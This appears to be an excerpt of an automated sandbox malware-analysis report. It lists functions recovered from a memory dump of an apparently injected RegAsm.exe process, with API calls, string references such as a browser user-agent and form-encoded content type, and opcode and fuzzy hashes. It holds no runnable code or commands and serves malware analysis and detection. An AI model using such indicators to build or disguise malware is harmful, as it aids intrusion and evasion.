Part of subcall function 0053F3BA: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-0000AA37,?,00431655,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F3C5
Part of subcall function 0053F3BA: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-0000AA37,?,00431655,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F3FF

__aulldiv.LIBCMT ref: 00442B77

Part of subcall function 0053F369: AcquireSRWLockExclusive.KERNEL32(0058F970,-0000AA37,?,00431682,00591F6C), ref: 0053F373
Part of subcall function 0053F369: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,00431682,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F3A6
Part of subcall function 0053F369: WakeAllConditionVariable.KERNEL32(0058F96C,?,00431682,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F3B1

Strings

j3l6lrek, xrefs: 00442A29, 00442A64, 00442D01, 00442D3C, 004432EA, 00443325, 00443528, 00443563
eks, xrefs: 00442994, 00442C6C, 00443208, 00443243, 00443446, 00443481

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionVariableWake__aulldiv
String ID: eks$j3l6lrek
API String ID: 2808616827-388657971
Opcode ID: f3925cc8054e3fbb5e3567e05032d183cce2504e5bf1e402bd8ec00d81512613
Instruction ID: fd81dc267cb6603d810ede0c19b2e9791e2ff6dd09bf287b08c7271154300af7
Opcode Fuzzy Hash: f3925cc8054e3fbb5e3567e05032d183cce2504e5bf1e402bd8ec00d81512613
Instruction Fuzzy Hash: 9E8223B0D042289FEB24CF65C995BEEBBB1BF49304F1081DAE409A7281DB746E85CF54

Function 00427140 Relevance: 5.4, APIs: 1, Strings: 1, Instructions: 1923COMMON

Download Yara Rule

APIs

Part of subcall function 00424660: __aulldiv.LIBCMT ref: 004249F6

GetModuleHandleA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00428F5A

Strings

sLEEP, xrefs: 0042741E

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: HandleModule__aulldiv
String ID: sLEEP
API String ID: 2808743982-1240104080
Opcode ID: 99581758d9a9cf76e502691414700258e80d0a0ea94bac0d5ec471db7f8e6445
Instruction ID: a5f2d96fe369cf822b59037d9e7fedc2142501b941822f537e008381adf15522
Opcode Fuzzy Hash: 99581758d9a9cf76e502691414700258e80d0a0ea94bac0d5ec471db7f8e6445
Instruction Fuzzy Hash: 42231670E052688FDB25CF68DC90BEEBBB1BF4A308F1481DAD449AB342D6355A85CF54

Function 00434A70 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00434B0D
__aulldiv.LIBCMT ref: 00434BC7

Strings

Content-Type: application/x-www-form-urlencoded, xrefs: 00434BF4, 00434C28

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: Content-Type: application/x-www-form-urlencoded
API String ID: 3732870572-2811858139
Opcode ID: 8b1264b636774412725bb26d983357b40c41e1cc6376b526b49b4d1957892e63
Instruction ID: 74b2550f64354b4231d69a9565f22348471e5f01c2ee705396e90e13d6bae9b6
Opcode Fuzzy Hash: 8b1264b636774412725bb26d983357b40c41e1cc6376b526b49b4d1957892e63
Instruction Fuzzy Hash: DC616DB1E00208ABDB14DFA9DC55BEEBBB5FF88304F508129E809BB384DB746945CB55

Function 0053F07E Relevance: 1.7, APIs: 1, Instructions: 185COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0053F6B9

Part of subcall function 00541BF1: RaiseException.KERNEL32(E06D7363,00000001,00000003,0053F6A2,?,?,?,?,0053F6A2,?,00589EB8), ref: 00541C51

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ExceptionFeaturePresentProcessorRaise
String ID:
API String ID: 1477838251-0
Opcode ID: 4baf1c82e3bc180db2363e3e8818150e89bcd54b7ceb3239692f8fe42cb399e1
Instruction ID: d180e882547d14c23bf0148a461b5c4922154e65fd09aea30709d642b64c269c
Opcode Fuzzy Hash: 4baf1c82e3bc180db2363e3e8818150e89bcd54b7ceb3239692f8fe42cb399e1
Instruction Fuzzy Hash: 1E616D71D01309DBEB18CFA8D9857AABBF4FB58310F24853AD815EB2A1E374D948DB50

Function 005586F2 Relevance: 9.3, APIs: 6, Instructions: 292
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b19c6b64e826937bdb7dc31c2ae32d7b211ae0885c833dfccb12e4220377f2d7
Instruction ID: af98b1363153ea095fc71e9e06f81ce858e6b9ac364375ea72347790b62e986d
Opcode Fuzzy Hash: b19c6b64e826937bdb7dc31c2ae32d7b211ae0885c833dfccb12e4220377f2d7
Instruction Fuzzy Hash: 1BB12270A04245EFDF11CFA8C8A4BBDBFB1BF99315F14415AE844AB292CB709849CF61

Function 00432AB0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004327D0: __aulldiv.LIBCMT ref: 0043288C

Part of subcall function 00416D40: std::ios_base::clear.LIBCPMTD ref: 00416E67

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00432B66

Part of subcall function 004141F0: std::ios_base::clear.LIBCPMTD ref: 00414372

Part of subcall function 00414120: std::ios_base::clear.LIBCPMTD ref: 0041417E

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00432C51
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00432C82

Strings

`@, xrefs: 00432B5C, 00432C47, 00432C78
`XA, xrefs: 00432B53, 00432C3E, 00432C6F

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_std::ios_base::clear$__aulldiv
String ID: `XA$`@
API String ID: 3845869555-3161672447
Opcode ID: 2a779a07cf42dec241d522c9cbc5117809b9ddd8a675b40966b088f473313a40
Instruction ID: 2a8533c1bad0e4952b8f391346104702f6a90764342462ebb0daff624741298c
Opcode Fuzzy Hash: 2a779a07cf42dec241d522c9cbc5117809b9ddd8a675b40966b088f473313a40
Instruction Fuzzy Hash: C65126B0A042498BDF08DF94C6517FEBFB1AF46300F2050AAD5056B381D7B99E81CFA4

Function 004327D0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 0043288C

Strings

`, xrefs: 004329D0
j3l6lrek, xrefs: 00432981, 004329B0
eks, xrefs: 004328C3, 004328F2

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: `$eks$j3l6lrek
API String ID: 3732870572-1113481937
Opcode ID: 765c74ab0bccd0f2cbd6327f1c5d7996210fdd57777ade996637082fa18afee5
Instruction ID: ea23d5cbfa31683d303f155bd7c822f0ad75c1bd9dda8e84f742834bc9a844c1
Opcode Fuzzy Hash: 765c74ab0bccd0f2cbd6327f1c5d7996210fdd57777ade996637082fa18afee5
Instruction Fuzzy Hash: 95A121B0E042589FDB14CFA9C895BEEBBB1BF48304F1080AAD409AB341DB745A89CF55

Function 0050C8F0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 255
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6~swr, xrefs: 0050CA10

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 6~swr
API String ID: 0-3949020348
Opcode ID: fc38bec887fb20d76351ae62250551000aa842477afe7d23a0caeecab4e6b7aa
Instruction ID: 2ed6536f110a616ad82f942d1c6614a8f60059bc60b15dd2f979cd51a049984b
Opcode Fuzzy Hash: fc38bec887fb20d76351ae62250551000aa842477afe7d23a0caeecab4e6b7aa
Instruction Fuzzy Hash: 9FB1E6B4E00208EFEB14CFA8CC95BEEBBB5FB48304F108559E505AB281D7796A05DF94

Function 0041A590 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 136COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCPMTD ref: 0041A637

Strings

HHA, xrefs: 0041A5A6
HHA, xrefs: 0041A627, 0041A62F, 0041A62A, 0041A632

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: _memcpy_s
String ID: HHA$HHA
API String ID: 2001391462-78794114
Opcode ID: ed0b05afc6e7f86c359a88aace55bd29aa44a423ac4fc23747b0fa7920e1dfa5
Instruction ID: fd5444a74f9f527dfbd8a085b73dd2115e72fa43c04797ca5990ad4013acb46f
Opcode Fuzzy Hash: ed0b05afc6e7f86c359a88aace55bd29aa44a423ac4fc23747b0fa7920e1dfa5
Instruction Fuzzy Hash: 93514AF5D02209ABCF04DF94D845AEF77B5BF44304F14842AE81597381E738EAA1CBA6

Function 0050D0D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36, xrefs: 0050D208

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
API String ID: 0-1672990099
Opcode ID: e6b56ee8d1d8820ee9d6b7e5c7dd041131515ab52d2369f144b68b946ae1e20c
Instruction ID: da776d53edc25015915adcb50a81f20bbb90e15f02e92a71e15f19607febfb85
Opcode Fuzzy Hash: e6b56ee8d1d8820ee9d6b7e5c7dd041131515ab52d2369f144b68b946ae1e20c
Instruction Fuzzy Hash: 8E51D5B5E00209ABDB08DFD9D885BEEBBF5BF88300F108119E915A7394D7346A45CB60

Function 00416D40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 96COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 00416E67

Strings

`XA, xrefs: 00416D73
WA, xrefs: 00416DEB

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: std::ios_base::clear
String ID: WA$`XA
API String ID: 1443086396-855112263
Opcode ID: fd6d3b38f9fdb5634df08d7e797737518ec3e3351e89a693b8f25bb325a5dc12
Instruction ID: e51bc9c54a42b8ef1cd12b3b9bd65c72ed8b49a9321af47167c83bb76f7294a1
Opcode Fuzzy Hash: fd6d3b38f9fdb5634df08d7e797737518ec3e3351e89a693b8f25bb325a5dc12
Instruction Fuzzy Hash: 2241E874A04209EFDB04CF99C891BAEBBB1FF88304F108199E5456B391C775AE81CF94

Function 0051CDE0 Relevance: 4.6, APIs: 3, Instructions: 140COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 0051CE6E
GetLastError.KERNEL32 ref: 0051CEAF
SetLastError.KERNEL32(?,?,00000000,00000001,00000028,?,00000000,00000001,00000008), ref: 0051CF54

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$HandleModule
String ID:
API String ID: 1090667551-0
Opcode ID: bb15006e30f6fc4ad114c43c02281f78c9b151033810da23866ffd457616cdb5
Instruction ID: caa33dcbb6b4196f24a52c787a51d91a005d1a91066e7806b055d347f226fdaa
Opcode Fuzzy Hash: bb15006e30f6fc4ad114c43c02281f78c9b151033810da23866ffd457616cdb5
Instruction Fuzzy Hash: 8651FFB5E08288AFDF04DBF98C45AEEBFF56F49200F04849EF555E7282E53456048B61

Function 0041F8A0 Relevance: 4.5, APIs: 3, Instructions: 42COMMON

Download Yara Rule

APIs

#2.OLEAUT32(00000001), ref: 0041F8D4
_com_issue_error.COMSUPP ref: 0041F8F2
_com_issue_error.COMSUPP ref: 0041F91B

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: _com_issue_error
String ID:
API String ID: 2162355165-0
Opcode ID: db166a960855f6ae559535a821971c73d20bad0302bc98c9dabe667ba71b07ce
Instruction ID: b006cce1761b7ec9eb8413847658550c3d121a20b6bf7a10f084d124aef92e86
Opcode Fuzzy Hash: db166a960855f6ae559535a821971c73d20bad0302bc98c9dabe667ba71b07ce
Instruction Fuzzy Hash: 6211D7B4D0020CEFDB00EF94C549B9EBBB1EF44304F2081A9D8056B351D779AE85DB85

Function 0055068E Relevance: 4.5, APIs: 3, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00550688,00000000,0054BF5A,?,?,B9D7103C,0054BF5A,?), ref: 0055069F
TerminateProcess.KERNEL32(00000000,?,00550688,00000000,0054BF5A,?,?,B9D7103C,0054BF5A,?), ref: 005506A6
ExitProcess.KERNEL32 ref: 005506B8

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 1be82f418c8225fefb6aeb59f33d53f3388f4d89d608f9ef7fe15704087c396f
Instruction ID: 84e37adcfb7cadc9623cf05ac7e54c143d20fc5b217190bf979fe80ddc65d9f5
Opcode Fuzzy Hash: 1be82f418c8225fefb6aeb59f33d53f3388f4d89d608f9ef7fe15704087c396f
Instruction Fuzzy Hash: CBD05E31000149FFCF003F64DC1D86D3F29BF803527044011FC4957072DB71896AEA84

Function 0055956B Relevance: 3.2, APIs: 2, Instructions: 196fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00558C81: GetConsoleOutputCP.KERNEL32(B9D7103C,00000000,00000000,00000000), ref: 00558CE4

WriteFile.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,0000000C,?,00000000,00589A50,00000014,005500B4,00000000,00000000,00000000), ref: 005596F0
GetLastError.KERNEL32(?,00000000), ref: 005596FA

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 201f97af174688d1bfe5719fbeb33e38c261d8ff65e2259391ef7a08be0b4f04
Instruction ID: 4b1010774546d1a925ef6bd133383302d163298a8d7da1765a5f5ad8b8ca6720
Opcode Fuzzy Hash: 201f97af174688d1bfe5719fbeb33e38c261d8ff65e2259391ef7a08be0b4f04
Instruction Fuzzy Hash: 92618EB181011AEFDF11CFA8C898AEEBFB9BF49309F140546ED04A6252D339D919DB90

Function 00413370 Relevance: 3.2, APIs: 2, Instructions: 151COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 004134A2
__fread_nolock.LIBCMT ref: 004134F2

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 0034c135ed2b2a22e052de766285b79a0e7e90d986966ce3f6ddfc3c1895c1fa
Instruction ID: 1f020a49b3a1f1439e30abdbceec2f866543ef0b22d5bd06eeaa315f277b6895
Opcode Fuzzy Hash: 0034c135ed2b2a22e052de766285b79a0e7e90d986966ce3f6ddfc3c1895c1fa
Instruction Fuzzy Hash: A1618475A00109EFCB44CF98C594AEEBBB2FF88305F20819AE915AB354D734AE81DF54

Function 0051D080 Relevance: 3.2, APIs: 2, Instructions: 150COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(000005B6), ref: 0051D12F
GetModuleHandleA.KERNEL32(00000000), ref: 0051D20E

Part of subcall function 0053F3BA: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-0000AA37,?,00431655,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F3C5
Part of subcall function 0053F3BA: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-0000AA37,?,00431655,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F3FF

Part of subcall function 0051CDE0: GetModuleHandleA.KERNEL32(00000000), ref: 0051CE6E
Part of subcall function 0051CDE0: GetLastError.KERNEL32 ref: 0051CEAF

Part of subcall function 0053F369: AcquireSRWLockExclusive.KERNEL32(0058F970,-0000AA37,?,00431682,00591F6C), ref: 0053F373
Part of subcall function 0053F369: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,00431682,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F3A6
Part of subcall function 0053F369: WakeAllConditionVariable.KERNEL32(0058F96C,?,00431682,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F3B1

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireErrorHandleLastModuleRelease$ConditionVariableWake
String ID:
API String ID: 1192564941-0
Opcode ID: b3d313c6ba1bc3204bb06e0b46ba84c955545a3a8e0073cbd36760208480e067
Instruction ID: b907d1b1c52684e5a84fbef9aeafe51e52d432b9bc80a106d660f3f405f8d1e3
Opcode Fuzzy Hash: b3d313c6ba1bc3204bb06e0b46ba84c955545a3a8e0073cbd36760208480e067
Instruction Fuzzy Hash: 1351F5B1D04249AFDB14EBF89851AEEBFB5BF59300F04416DF415A3282EA345A44CB71

Function 0054BDF1 Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,?,?,0054BDB3,?,?,?,?,?), ref: 0054BE2D
GetLastError.KERNEL32(?,?,0054BDB3,?,?,?,?,?,00589670,00000018,0054BF84,?,?,?,?,?), ref: 0054BE3A

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: bcfffc708b122c39ba56ae591e9166d9c0b0d94b574a4d1f27eeb6ad8e47f9c0
Instruction ID: 76459e44ad8169a803363376877eb0d6e0c07f72889071c26cd0fc2d525a5054
Opcode Fuzzy Hash: bcfffc708b122c39ba56ae591e9166d9c0b0d94b574a4d1f27eeb6ad8e47f9c0
Instruction Fuzzy Hash: B6010432600109AFDF058FA9DC099EE3F29FBD1338B240209F9019B291E771E9619B90

Function 00558BE1 Relevance: 2.6, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,00000000,CF830579,?,00558AC8,00000000,CF830579,00589A30,0000000C,00558B84,0054FABD,?), ref: 00558C37
GetLastError.KERNEL32(?,00558AC8,00000000,CF830579,00589A30,0000000C,00558B84,0054FABD,?), ref: 00558C41

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: ba4073fe59c0273cf0a43eeaadb8b5787e977135eb764b88650cbd609ff65dc6
Instruction ID: 59797ff1d0b8ae58aa52cc663e749ea9d51c03450cd8763d81dced3fb7d08474
Opcode Fuzzy Hash: ba4073fe59c0273cf0a43eeaadb8b5787e977135eb764b88650cbd609ff65dc6
Instruction Fuzzy Hash: 551188336021545AD6242374A86D7BD3F58BB82737F25074BFD48AF2D2DF218C8C8261

Function 0055B63E Relevance: 2.5, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,00000000,?,005601D1,0041C3C8,00000000,0041C3C8,?,00560472,0041C3C8,00000007,0041C3C8,?,00560A67,0041C3C8,0041C3C8), ref: 0055B654
GetLastError.KERNEL32(0041C3C8,?,005601D1,0041C3C8,00000000,0041C3C8,?,00560472,0041C3C8,00000007,0041C3C8,?,00560A67,0041C3C8,0041C3C8), ref: 0055B65F

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: ee45bd410849a22136ebfc851fb0f5d82ff2a544bedcb27ce91135c8e5648aa0
Instruction ID: 337c4ce42722e6888173afae0bb09a7e47a2af0d1a664366ca4a108bdb294582
Opcode Fuzzy Hash: ee45bd410849a22136ebfc851fb0f5d82ff2a544bedcb27ce91135c8e5648aa0
Instruction Fuzzy Hash: CCE0C232501204EBDF212FB8EC0CBAE3F58BB803A6F158061FA08D7060CB708894D7D4

Function 0042C8E0 Relevance: 1.7, APIs: 1, Instructions: 228COMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 0042CA05

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: e4ce63f5f4a8184e56b44e033b4439b98b9706e681a2931a949acd1588c6a3a6
Instruction ID: 89995b1fd1d92833d85f23560184ce0139991a7ebd79024f5876dd850d2ea723
Opcode Fuzzy Hash: e4ce63f5f4a8184e56b44e033b4439b98b9706e681a2931a949acd1588c6a3a6
Instruction Fuzzy Hash: 22A136B1E002189FDB14CFA9D891BEEBBB5BF89304F1480AAE409A7341DB746A45CF55

Function 0054F2E5 Relevance: 1.7, APIs: 1, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b540579799c8366f1ad63fe7d20ceb1a631115153c6bd94d81caa7a3d511727
Instruction ID: e157a6d7f6dea11c2ddbd8144d9d2c2d3358d750ac37cc5f71eace728155f3d9
Opcode Fuzzy Hash: 5b540579799c8366f1ad63fe7d20ceb1a631115153c6bd94d81caa7a3d511727
Instruction Fuzzy Hash: CC51AE75A00204AFDF14CF5CC885AEA7FB1BF99368F258569F8489B252D6319E41CB90

Function 004141F0 Relevance: 1.6, APIs: 1, Instructions: 124COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 00414372

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: std::ios_base::clear
String ID:
API String ID: 1443086396-0
Opcode ID: ee3cdfa35f209943b91d1efe7a884194096f72984a4ef7bbfa4a5d9237c34e1a
Instruction ID: 806f081486550cd9e861bf8b04fcb7b7b2c7b447b626a1cce35e8051a4ed17ac
Opcode Fuzzy Hash: ee3cdfa35f209943b91d1efe7a884194096f72984a4ef7bbfa4a5d9237c34e1a
Instruction Fuzzy Hash: 9E519EB4E04249DFCB14CF99D491AEEFBB1BF88310F24815AE915AB395C734A981CF94

Function 00432C90 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(00000000), ref: 00432D6A

Part of subcall function 0053F3BA: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-0000AA37,?,00431655,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F3C5
Part of subcall function 0053F3BA: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-0000AA37,?,00431655,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F3FF

Part of subcall function 0053F369: AcquireSRWLockExclusive.KERNEL32(0058F970,-0000AA37,?,00431682,00591F6C), ref: 0053F373
Part of subcall function 0053F369: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,00431682,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F3A6
Part of subcall function 0053F369: WakeAllConditionVariable.KERNEL32(0058F96C,?,00431682,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F3B1

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionCurrentDirectoryVariableWake
String ID:
API String ID: 350265564-0
Opcode ID: 12ee3cc05ffb149109e3389c65df7940486c2e31fa50d80f3d070d01c27ad458
Instruction ID: 997e270c6a095782ead4724f3be1c1cd7c7b8e0800a2fb6e911b6236e85e9a5c
Opcode Fuzzy Hash: 12ee3cc05ffb149109e3389c65df7940486c2e31fa50d80f3d070d01c27ad458
Instruction Fuzzy Hash: AB219E74D0020E9FCF04DFA5C9859AEBBB1FF98344F14816AD80227354D775A946CFA5

Function 00414A90 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCPMTD ref: 00414B36

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: _memcpy_s
String ID:
API String ID: 2001391462-0
Opcode ID: 0b15a1009822e67b16ccf0f40908d328747a4915c79ae048b29596cc20b8ae9d
Instruction ID: 98a7c8ec6b6372d8958340e6e6bf1028a10216762d25d9c31937bbef1965d1e4
Opcode Fuzzy Hash: 0b15a1009822e67b16ccf0f40908d328747a4915c79ae048b29596cc20b8ae9d
Instruction Fuzzy Hash: A721C9B9E00108EFCB04DF99D58499EB7B5AF88314F24C199E8099B341D735EE82DF85

Function 0041D950 Relevance: 1.5, APIs: 1, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 0041D967

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
